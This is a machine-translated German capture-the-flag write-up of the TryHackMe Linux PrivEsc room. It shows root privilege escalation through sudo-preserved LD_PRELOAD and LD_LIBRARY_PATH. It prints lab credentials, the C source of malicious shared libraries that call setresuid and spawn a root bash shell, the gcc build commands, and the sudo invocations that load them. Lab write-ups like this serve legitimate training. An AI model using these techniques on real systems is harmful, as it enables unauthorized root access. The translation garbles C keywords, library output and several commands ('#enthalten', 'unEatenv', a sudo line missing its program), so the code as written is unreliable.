Dieses Mal werden wir versuchen, Privilegien mit den Linux -Umgebungsvariablen "Ld_preload" und "ld_library_path" zu eskalieren.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 4.
Wenn Sie das Schreiben für Linux Privesc mit TryHackMe überprüfen möchten, überprüfen Sie bitte auch Berechtigungserhebung mit GTFOBINS




Vorbereitung
Starten Sie zunächst die Zielmaschine und schließen Sie sie an die Zielmaschine an.
Starten der Zielmaschine
Starten Sie zuerst die Zielmaschine.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc bei

Wenn die IP -Adresse so angezeigt wird, ist das Booten in Ordnung.

SSH -Verbindung
Stellen Sie eine Verbindung zu der Zielmaschine her, die Sie mit SSH begonnen haben.
Wie erläutert, ist es in Ordnung, solange Sie mit "Benutzer: password321" eine Verbindung herstellen können.
└─ $ ssh user@10.10.6.35 Die Authentizität von Host '10 .10.6.35 (10.10.6.35) kann nicht festgelegt werden. DSA -Schlüsselfingerabdruck ist SHA256: p2nSSfvyjvk1qe0TSNX5G2H8AAWYRN71JDZ3UEODBMA. Dieser Schlüssel ist in keinen anderen Namen bekannt. Sind Sie sicher, dass Sie sich weiter verbinden möchten (ja/nein/[Fingerabdruck])? Ja Warnung: Dauerhaft '10 .10.6.35 '(DSA) in die Liste der bekannten Hosts hinzugefügt. user@10.10.6.35's Passwort: Linux Debian 2.6.32-5-AMD64 #1 SMP TUE 13. Mai 16:34:35 UTC 2014 x86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind kostenlose Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzte Login: Fr 15. Mai 06:41:23 2020 von 192.168.1.125 Benutzer@Debian: ~ $ sudo -l Matching -Standardeinträge für den Benutzer auf diesem Host: env_reset, env_keep+= ld_preload, env_keep+= ld_library_path
"-Ohostkeyalgoriths =+ssh-rsa" muss hinzugefügt werden
Erhöhung des Privilegs mit Umgebungsvariablen
Die gefährdeten Umgebungsvariablen sind "ld_preload" und "ld_library_path".
Eine kurze Erklärung lautet wie folgt:
- LD_PRELAD: Wird verwendet, um Bibliotheken vorzuladen. Durch Angeben einer freigegebenen Bibliothek ist es möglich, die freigegebene Bibliothek vor der Ausführung eines Programms zu laden (oder auszuführen).
- Ld_library_path: Gibt die Liste an, in der die freigegebenen Bibliotheken durchsucht werden. Durch Angeben des Verzeichnisses, in dem sich die Bibliotheksdatei befindet, kann auch dieses Verzeichnis gesucht werden.
Erhöhung des Privilegs mit LD_PRELOAD
Jetzt werde ich versuchen, "ld_preload" zu verwenden, um Root -Privilegien zu erhalten.
Überprüfen Sie zunächst, welche Programme mit Sudo ausgeführt werden können.
Sie können sehen, dass 11 Programme mit Sodu durchgeführt werden können.
user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/nano (root) nopasswd:/usr/bin/vim (root) nopasswd:/usr/mAN (root) nopasswd:/usr/bin/awk (root) nopasswd:/usr/bin/weniger (root) nopasswd:/usr/bin/ftp (root) nopasswd. Nopasswd:/usr/sbin/apache2 (root) nopasswd:/bin/mehr
Wir erstellen eine gemeinsame Bibliothek, die im Voraus geladen wird.
Ich denke jedoch, dass es im Voraus "vorlast.c" auf der Zielmaschine geben wird, also werde ich es zusammenstellen.
Es scheint, dass Preload.c ein Programm ist, das einen Systemaufruf ausführt und eine "/bin/bash" -Schell erzeugt.
Benutzer@debian: ~ $ cat /home/user/tools/sudo/preload.c #include<stdio.h> #enthalten<sys/types.h> #enthalten<stdlib.h> void _init () {unEatenv ("ld_preload"); setResuid (0,0,0); System ("/bin/bash -p"); }
Generieren Sie die gemeinsam genutzte Bibliothek aus vorlast.c.
Benutzer@debian: ~ $ gcc -fpic -shared -nostartFiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
Sobald Sie es erstellt haben, geben Sie beim Ausführen eines Programms, das mit Sudo ausgeführt werden kann, LD_PRELOAD an und führen Sie es aus.
Benutzer@debian: ~ $ sudo ld_preload =/tmp/preload.so root@debian:/home/user# whoami root
Sie konnten Stammbenutzer werden.
Erhöhung des Privilegs mit LD_LIBRARY_PATH
Als nächstes werden wir auch versuchen, Privilegien mit "ld_library_path" zu eskalieren.
Führen Sie zunächst den Befehl "LDD" auf Apache2 aus, um Abhängigkeiten in freigegebenen Bibliotheken anzuzeigen, um die freigegebenen Bibliotheken zu überprüfen.
user@debian: ~ $ ldd/usr/sbin/apache2 linux-vdso.so.1 => (0x00007ffff84ee8000) libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.3 (0x00007fbai94c5c000)) /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fba94a38000) libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 . (0x00007fba94071000) libt.so.1 => /lib/libt.so.1 (0x00007fba93e69000) libcrypt.1 => /lib/libcrypt.so.1 (0x00007fba93c32000) libdl.2 = (0x00007fba93a2d000) libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fba93805000) /lib64/ld-linux-x86-64.SO.2 (0x00007fba95119000)))
Es gibt einige Abhängigkeiten, aber diesmal werden wir dieselbe gemeinsame Bibliothek wie "libcrypt.so.1" erstellen und versuchen, sie zu laden.
Lassen Sie uns zunächst eine gemeinsame Bibliothek erstellen.
Der Inhalt von "Library_Path.c" ist wie folgt:
Was Sie tun, unterscheidet sich nicht von zuvor.
Benutzer@debian: ~ $ cat /home/user/tools/sudo/library_path.c #include<stdio.h> #enthalten<stdlib.h> statische void hijack () __attribute __ ((Konstruktor)); void hijack () {unEatenv ("ld_library_path"); setResuid (0,0,0); System ("/bin/bash -p"); }
Erstellen Sie oben eine gemeinsame Bibliothek mit dem Namen "libcrypt.so.1" aus "Library_Path.c".
Der Speicherort ist "/tmp".
Benutzer@debian: ~ $ gcc -o /tmp/libcrypt.so.1 -shared -fpic /home/user/tools/sudo/library_path.c
Geben Sie beim Ausführen von Apache2 mit sudo die früher in ld_library_path gespeicherte "/tmp" an.
Benutzer@debian: ~ $ sudo ld_library_path =/tmp apache2 apache2: /tmp/libcrypt.so.1: Keine Versionsinformationen verfügbar
Ich denke, das hat es Wurzel ermöglicht, Privilegien zu eskalieren!
Zusammenfassung
Dieses Mal habe ich versucht, Privilegien mit den Linux -Umgebungsvariablen "ld_preload" und "ld_library_path" zu eskalieren.
Der Inhalt war, dass Sie durch Erzeugen /Bin /Bash -Shell und mit Sudo die Stammschale erhalten können, aber ich frage mich, ob dies möglich ist. . . Ich war einfach interessiert.
Referenzen und Websites
Medium ( Shamsher Khan ): https://infosecwriteups.com/linux-privesc-tryhackme-writeup-bf4e32460ee5